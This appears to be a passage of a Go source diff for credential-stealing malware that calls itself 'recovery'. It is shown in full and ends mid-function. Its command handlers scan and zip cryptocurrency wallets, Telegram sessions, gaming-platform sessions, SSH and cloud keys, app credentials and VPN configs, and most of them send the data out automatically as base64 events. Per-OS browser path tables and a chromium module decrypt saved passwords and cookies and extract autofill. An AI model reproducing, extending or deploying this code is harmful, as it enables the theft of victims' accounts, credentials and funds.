"wallets": wallets,
|
||||
})
|
||||
autoDownloadWallets(wallets)
|
||||
}
|
||||
|
||||
func autoDownloadWallets(wallets []recovery.WalletResult) {
|
||||
for _, w := range wallets {
|
||||
if w.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipDirectory(w.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
|
||||
sendEvent("wallet_auto_data", map[string]interface{}{
|
||||
"name": w.Name,
|
||||
"type": w.Type,
|
||||
"path": w.Path,
|
||||
"addresses": w.Addresses,
|
||||
"vaultData": w.VaultData,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchWalletZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
|
||||
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
|
||||
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": req.Name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanFiles() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] file scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "file scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning files..."})
|
||||
files := recovery.ScanFiles()
|
||||
log.Printf("[recovery] file scan complete: %d files", len(files))
|
||||
sendEvent("file_scan_results", map[string]interface{}{
|
||||
"files": files,
|
||||
"truncated": len(files) >= 500,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchFile(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_file panic: %v", r)
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.FetchFile(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
|
||||
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
|
||||
sendEvent("fetch_file_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"name": filepath.Base(req.Path),
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanTelegram() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] telegram scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "telegram scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
|
||||
sessions := recovery.ScanTelegram()
|
||||
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
|
||||
sendEvent("telegram_scan_results", map[string]interface{}{
|
||||
"sessions": sessions,
|
||||
})
|
||||
for _, s := range sessions {
|
||||
if s.Size > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipTelegram(s.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": s.Account,
|
||||
"path": s.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleFetchTelegramZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
Account string `json:"account"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipTelegram(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
|
||||
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
|
||||
sendEvent("telegram_data", map[string]interface{}{
|
||||
"account": req.Account,
|
||||
"path": req.Path,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanKeys() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] key scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "key scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
|
||||
keys := recovery.ScanKeys()
|
||||
log.Printf("[recovery] key scan complete: %d keys", len(keys))
|
||||
sendEvent("key_scan_results", map[string]interface{}{
|
||||
"keys": keys,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanApps() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] app scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "app credential scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
|
||||
apps := recovery.ScanApps()
|
||||
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
|
||||
sendEvent("app_scan_results", map[string]interface{}{
|
||||
"appCredentials": apps,
|
||||
})
|
||||
}
|
||||
|
||||
func handleScanGaming() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] gaming scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "gaming scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
|
||||
gaming := recovery.ScanGaming()
|
||||
sendEvent("gaming_scan_results", map[string]interface{}{
|
||||
"gaming": gaming,
|
||||
})
|
||||
if gaming == nil {
|
||||
return
|
||||
}
|
||||
autoDownloadGaming(gaming)
|
||||
}
|
||||
|
||||
func autoDownloadGaming(gaming *recovery.GamingResult) {
|
||||
type zipJob struct {
|
||||
name string
|
||||
fn func() ([]byte, error)
|
||||
}
|
||||
var jobs []zipJob
|
||||
|
||||
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
|
||||
steamPath := gaming.Steam.SteamPath
|
||||
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
|
||||
}
|
||||
if len(gaming.BattleNet) > 0 {
|
||||
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
|
||||
}
|
||||
if len(gaming.Epic) > 0 {
|
||||
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
|
||||
}
|
||||
if len(gaming.Riot) > 0 {
|
||||
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
|
||||
}
|
||||
if len(gaming.Uplay) > 0 {
|
||||
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
|
||||
}
|
||||
|
||||
for _, j := range jobs {
|
||||
data, err := j.fn()
|
||||
if err != nil || len(data) == 0 {
|
||||
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
|
||||
continue
|
||||
}
|
||||
if len(data) > maxAutoDownloadSize {
|
||||
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
|
||||
continue
|
||||
}
|
||||
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
|
||||
sendEvent("gaming_data", map[string]interface{}{
|
||||
"platform": j.name,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func handleScanVPN() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] vpn scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "vpn scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
|
||||
vpns := recovery.ScanVPNs()
|
||||
sendEvent("vpn_scan_results", map[string]interface{}{
|
||||
"vpns": vpns,
|
||||
})
|
||||
}
|
||||
|
||||
func handleUnload() {
|
||||
log.Printf("[recovery] unloading")
|
||||
}
|
||||
|
||||
func handleFingerprint() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("fingerprint_result", recovery.CollectFingerprint())
|
||||
log.Printf("[recovery] fingerprint collected")
|
||||
}
|
||||
|
||||
func handleFingerprintJS() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fingerprint_js panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
|
||||
}
|
||||
}()
|
||||
result := recovery.CollectJSFingerprint()
|
||||
if result == nil {
|
||||
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
|
||||
return
|
||||
}
|
||||
sendEvent("fingerprint_js_result", result)
|
||||
log.Printf("[recovery] JS fingerprint collected")
|
||||
}
|
||||
|
||||
func main() {}
|
||||
@@ -0,0 +1,111 @@
|
||||
//go:build darwin
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// Chromium family
|
||||
{Name: "Chrome", UserDataPath: "Google/Chrome", ProcessName: "Google Chrome"},
|
||||
{Name: "Chrome Beta", UserDataPath: "Google/Chrome Beta", ProcessName: "Google Chrome Beta"},
|
||||
{Name: "Chrome Canary", UserDataPath: "Google/Chrome Canary", ProcessName: "Google Chrome Canary"},
|
||||
{Name: "Chromium", UserDataPath: "Chromium", ProcessName: "Chromium"},
|
||||
{Name: "Edge", UserDataPath: "Microsoft Edge", ProcessName: "Microsoft Edge"},
|
||||
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "Brave Browser"},
|
||||
{Name: "Vivaldi", UserDataPath: "Vivaldi", ProcessName: "Vivaldi"},
|
||||
{Name: "Opera", UserDataPath: "com.operasoftware.Opera", ProcessName: "Opera", FlatProfile: true},
|
||||
{Name: "Opera GX", UserDataPath: "com.operasoftware.OperaGX", ProcessName: "Opera GX", FlatProfile: true},
|
||||
{Name: "Arc", UserDataPath: "Arc/User Data", ProcessName: "Arc"},
|
||||
{Name: "Yandex", UserDataPath: "Yandex/YandexBrowser", ProcessName: "Yandex"},
|
||||
// Firefox family
|
||||
{Name: "Firefox", UserDataPath: "Firefox", ProcessName: "firefox", IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: "LibreWolf", ProcessName: "librewolf", IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: "Waterfox", ProcessName: "waterfox", IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := filepath.Join(root, "Profiles")
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build linux
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// Chromium family
|
||||
{Name: "Chrome", UserDataPath: "google-chrome", ProcessName: "chrome"},
|
||||
{Name: "Chrome Beta", UserDataPath: "google-chrome-beta", ProcessName: "chrome"},
|
||||
{Name: "Chrome Dev", UserDataPath: "google-chrome-unstable", ProcessName: "chrome"},
|
||||
{Name: "Chromium", UserDataPath: "chromium", ProcessName: "chromium"},
|
||||
{Name: "Edge", UserDataPath: "microsoft-edge", ProcessName: "msedge"},
|
||||
{Name: "Brave", UserDataPath: "BraveSoftware/Brave-Browser", ProcessName: "brave"},
|
||||
{Name: "Vivaldi", UserDataPath: "vivaldi", ProcessName: "vivaldi"},
|
||||
{Name: "Opera", UserDataPath: "opera", ProcessName: "opera", FlatProfile: true},
|
||||
// Firefox family
|
||||
{Name: "Firefox", UserDataPath: ".mozilla/firefox", ProcessName: "firefox", IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: ".librewolf", ProcessName: "librewolf", IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: ".waterfox", ProcessName: "waterfox", IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, ".config")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
if cfg.IsFirefox {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, cfg.UserDataPath)
|
||||
}
|
||||
return filepath.Join(GetLocalAppData(), cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := root
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
//go:build windows
|
||||
|
||||
package browser
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var Browsers = []types.BrowserConfig{
|
||||
// ── Chromium family (LOCALAPPDATA) ────────────────────────────────────────
|
||||
{Name: "Chrome", UserDataPath: `Google\Chrome\User Data`, ProcessName: "chrome.exe"},
|
||||
{Name: "Edge", UserDataPath: `Microsoft\Edge\User Data`, ProcessName: "msedge.exe"},
|
||||
{Name: "Brave", UserDataPath: `BraveSoftware\Brave-Browser\User Data`, ProcessName: "brave.exe"},
|
||||
{Name: "Vivaldi", UserDataPath: `Vivaldi\User Data`, ProcessName: "vivaldi.exe"},
|
||||
{Name: "Yandex", UserDataPath: `Yandex\YandexBrowser\User Data`, ProcessName: "browser.exe"},
|
||||
{Name: "Arc", UserDataPath: `Arc\User Data`, ProcessName: "Arc.exe"},
|
||||
// ── Opera (APPDATA, flat profile) ────────────────────────────────────────
|
||||
// ts doesn't work will fix in the future
|
||||
{Name: "Opera", UserDataPath: `Opera Software\Opera Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
|
||||
{Name: "Opera GX", UserDataPath: `Opera Software\Opera GX Stable`, ProcessName: "opera.exe", UseAppData: true, FlatProfile: true},
|
||||
// ── Firefox family (APPDATA, Firefox profile layout) ─────────────────────
|
||||
{Name: "Firefox", UserDataPath: `Mozilla\Firefox`, ProcessName: "firefox.exe", UseAppData: true, IsFirefox: true},
|
||||
{Name: "LibreWolf", UserDataPath: `LibreWolf`, ProcessName: "librewolf.exe", UseAppData: true, IsFirefox: true},
|
||||
{Name: "Waterfox", UserDataPath: `Waterfox`, ProcessName: "waterfox.exe", UseAppData: true, IsFirefox: true},
|
||||
}
|
||||
|
||||
func GetLocalAppData() string {
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
}
|
||||
|
||||
func GetUserDataRoot(cfg types.BrowserConfig) string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if cfg.UseAppData {
|
||||
base = os.Getenv("APPDATA")
|
||||
}
|
||||
return filepath.Join(base, cfg.UserDataPath)
|
||||
}
|
||||
|
||||
func LocalStatePath(cfg types.BrowserConfig) string {
|
||||
return filepath.Join(GetUserDataRoot(cfg), "Local State")
|
||||
}
|
||||
|
||||
func FindProfileDirs(cfg types.BrowserConfig) []types.ProfileInfo {
|
||||
root := GetUserDataRoot(cfg)
|
||||
|
||||
if cfg.FlatProfile {
|
||||
if _, err := os.Stat(root); err == nil {
|
||||
return []types.ProfileInfo{{Name: "Default", Path: root}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
if cfg.IsFirefox {
|
||||
return findFirefoxProfiles(root)
|
||||
}
|
||||
|
||||
return findChromiumProfiles(root)
|
||||
}
|
||||
|
||||
func findChromiumProfiles(root string) []types.ProfileInfo {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
prefPath := filepath.Join(root, e.Name(), "Preferences")
|
||||
if _, err := os.Stat(prefPath); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(root, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func findFirefoxProfiles(root string) []types.ProfileInfo {
|
||||
profilesDir := filepath.Join(root, "Profiles")
|
||||
entries, err := os.ReadDir(profilesDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var profiles []types.ProfileInfo
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(profilesDir, e.Name(), "prefs.js")); err == nil {
|
||||
profiles = append(profiles, types.ProfileInfo{
|
||||
Name: e.Name(),
|
||||
Path: filepath.Join(profilesDir, e.Name()),
|
||||
})
|
||||
}
|
||||
}
|
||||
return profiles
|
||||
}
|
||||
|
||||
func IsFirefoxProfileName(name string) bool {
|
||||
parts := strings.SplitN(name, ".", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
suffix := strings.ToLower(parts[1])
|
||||
return strings.HasPrefix(suffix, "default") || strings.HasPrefix(suffix, "release")
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package browser
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[browser] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
package chromium
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/db"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const HistoryLimit = 5000
|
||||
|
||||
func ExtractPasswords(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.PasswordResult {
|
||||
var results []types.PasswordResult
|
||||
|
||||
for _, dbFile := range []string{"Login Data", "Login Data For Account"} {
|
||||
dbPath := filepath.Join(profile.Path, dbFile)
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
continue
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
rows, err := d.Query("SELECT origin_url, username_value, password_value FROM logins")
|
||||
if err != nil {
|
||||
d.Close()
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, username sql.NullString
|
||||
var passwordBlob []byte
|
||||
rows.Scan(&url, &username, &passwordBlob)
|
||||
password := crypto.DecryptChromiumBlob(passwordBlob, keys.V10, keys.V20)
|
||||
if dbFile == "Login Data For Account" && password == "" {
|
||||
continue
|
||||
}
|
||||
if url.String != "" && (username.String != "" || password != "") {
|
||||
results = append(results, types.PasswordResult{
|
||||
URL: url.String,
|
||||
Username: username.String,
|
||||
Password: password,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
d.Close()
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractCookies(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CookieResult {
|
||||
dbPath := filepath.Join(profile.Path, "Network", "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
dbPath = filepath.Join(profile.Path, "Cookies")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
logf("cookie DB open failed for %s (%s): %v", cfg.Name, dbPath, err)
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value, value FROM cookies")
|
||||
if err != nil {
|
||||
logf("cookie query failed for %s: %v", cfg.Name, err)
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CookieResult
|
||||
count := 0
|
||||
for rows.Next() {
|
||||
count++
|
||||
var host, name, path, plainValue sql.NullString
|
||||
var secure, httpOnly sql.NullBool
|
||||
var expiresUTC sql.NullInt64
|
||||
var encryptedValue []byte
|
||||
|
||||
rows.Scan(&host, &name, &path, &secure, &httpOnly, &expiresUTC, &encryptedValue, &plainValue)
|
||||
value := crypto.DecryptChromiumBlob(encryptedValue, keys.V10, keys.V20)
|
||||
if value == "" {
|
||||
value = plainValue.String
|
||||
}
|
||||
results = append(results, types.CookieResult{
|
||||
Host: host.String,
|
||||
Name: name.String,
|
||||
Value: value,
|
||||
Path: path.String,
|
||||
Secure: secure.Bool,
|
||||
HTTPOnly: httpOnly.Bool,
|
||||
ExpiresUTC: expiresUTC.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
logf("cookie row count for %s: %d", cfg.Name, count)
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractAutofill(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.AutofillResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
"SELECT name, value, date_created, count FROM autofill",
|
||||
"SELECT name, value, count FROM autofill",
|
||||
"SELECT name, value FROM autofill",
|
||||
}
|
||||
|
||||
var results []types.AutofillResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var name, value sql.NullString
|
||||
var dateCreated, count sql.NullInt64
|
||||
switch len(strings.Split(q, ",")) {
|
||||
case 4:
|
||||
rows.Scan(&name, &value, &dateCreated, &count)
|
||||
case 3:
|
||||
rows.Scan(&name, &value, &count)
|
||||
default:
|
||||
rows.Scan(&name, &value)
|
||||
}
|
||||
if name.String != "" {
|
||||
results = append(results, types.AutofillResult{
|
||||
Name: name.String,
|
||||
Value: value.String,
|
||||
DateCreated: dateCreated.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractHistory(profile types.ProfileInfo, cfg types.BrowserConfig, pids []uint32) []types.HistoryResult {
|
||||
dbPath := filepath.Join(profile.Path, "History")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
